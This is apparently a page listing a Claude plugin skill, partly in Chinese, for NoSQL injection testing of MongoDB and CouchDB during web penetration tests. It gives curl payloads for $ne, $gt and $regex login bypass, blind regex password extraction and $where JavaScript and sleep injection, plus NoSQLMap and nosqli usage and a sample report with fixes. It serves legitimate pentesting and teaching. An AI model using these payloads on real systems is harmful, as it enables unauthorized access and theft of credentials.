Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and other NoSQL databases to demonstrate authentication bypass, data extraction, and unauthorized access during web penetration testing and API security reviews.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在对使用 NoSQL 数据库的应用程序进行 Web 渗透测试期间
Detects and exploits NoSQL injection vulnerabilities in MongoDB and CouchDB for authentication bypass, data extraction during web app pentests and bug bounties.
Detects and exploits NoSQL injection in MongoDB/CouchDB via JSON payloads for auth bypass and data extraction during web app pentesting and API security audits.
Tests APIs for injection vulnerabilities like SQLi, NoSQLi, OS command injection, LDAP injection, and SSRF using payloads in parameters, headers, and bodies. Useful for API security audits and input validation checks.
Share bugs, ideas, or general feedback.
pip install nosqlmap 或从 GitHub 安装)# 寻找基于 JSON 的登录表单或 API 端点
# 常见指标:应用程序接受 JSON POST 体,使用 MongoDB
# 使用基本语法破坏字符进行测试
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin\"", "password": "test"}'
# 测试查询参数中的操作符注入
curl "http://target.com/api/users?username[$ne]=invalid"
# 检查基于错误的检测
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt": ""}}'
# 使用 $ne 操作符进行基本身份验证绕过
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'
# 使用 $gt 操作符绕过
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# 使用正则表达式针对特定用户
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": ".*"}}'
# 使用 $exists 操作符绕过
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$exists": true}, "password": {"$exists": true}}'
# 使用 $regex 逐字符提取用户名
# 测试管理员密码的第一个字符是否为 'a'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^a"}}'
# 测试前两个字符是否为 'ab'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^ab"}}'
# 使用正则表达式枚举用户名
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
# 通过 $where 操作符进行 JavaScript 注入
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.username == \"admin\""}'
# 通过 sleep 进行基于时间的检测
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "sleep(5000) || this.username == \"admin\""}'
# 通过 $where 和字符串比较进行数据外泄
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.password.match(/^a/) != null"}'
# 克隆并安装 NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install
# 对目标运行 NoSQLMap
python nosqlmap.py -u http://target.com/api/login \
--method POST \
--data '{"username":"test","password":"test"}'
# 替代方案:使用 nosqli 扫描器
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
# 基于参数的注入(GET 请求)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"
# 通过 URL 参数的数组注入
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"
# 如果后端处理,通过 HTTP 头注入
curl http://target.com/api/profile \
-H "X-User-Id: {'\$ne': null}"
| 概念 | 定义 |
|---|---|
| 操作符注入(Operator Injection) | 向查询参数注入 MongoDB 操作符($ne、$gt、$regex) |
| 身份验证绕过(Authentication Bypass) | 使用操作符匹配任意文档并绕过登录检查 |
| 盲提取(Blind Extraction) | 使用 $regex 布尔响应逐字符提取数据 |
| $where 注入 | 通过 $where 操作符在 MongoDB 服务器上执行任意 JavaScript |
| 类型混淆(Type Juggling) | 利用 NoSQL 数据库处理不同输入类型(字符串与对象)的方式 |
| BSON 注入 | 操纵 MongoDB 线协议中的二进制 JSON 序列化 |
| 服务器端 JS | MongoDB 中可用于查询评估的 JavaScript 执行上下文 |
| 工具 | 用途 |
|---|---|
| NoSQLMap | 自动化 NoSQL 注入检测和利用框架 |
| Burp Suite | 用于拦截和修改 JSON 请求的 HTTP 代理 |
| MongoDB Shell | 用于测试查询行为的直接数据库交互 |
| nosqli | 专用 NoSQL 注入扫描器和利用工具 |
| PayloadsAllTheThings | 精心整理的 NoSQL 注入有效载荷存储库 |
| Nuclei | 带有 NoSQL 注入检测模板的基于模板的扫描器 |
| Postman | 用于构建 NoSQL 注入请求的 API 测试平台 |
{"$ne": ""} 操作符注入绕过 MongoDB 支持的身份验证$regex 盲注入逐字符提取数据库内容## NoSQL 注入评估报告
- **目标**: http://target.com/api/login
- **数据库**: MongoDB 6.0
- **漏洞类型**: 操作符注入(身份验证绕过)
- **严重性**: 严重(CVSS 9.8)
### 易受攻击的参数
| 端点 | 参数 | 注入类型 | 影响 |
|----------|-----------|---------------|--------|
| POST /api/login | username | 操作符($ne) | 身份验证绕过 |
| POST /api/login | password | 正则($regex) | 数据提取 |
| GET /api/users | id | $where JS 注入 | 潜在 RCE |
### 概念验证
- 使用以下内容实现身份验证绕过:{"username":{"$ne":""},"password":{"$ne":""}}
- 通过盲正则注入提取了 3 个管理员密码
- 通过 $where 操作符确认 JavaScript 执行
### 修复建议
- 使用带有 MongoDB 驱动清理功能的参数化查询
- 实施输入类型验证(在预期字符串的地方拒绝对象)
- 在 MongoDB 配置中禁用服务器端 JavaScript 执行($where)
- 应用最小权限数据库访问控制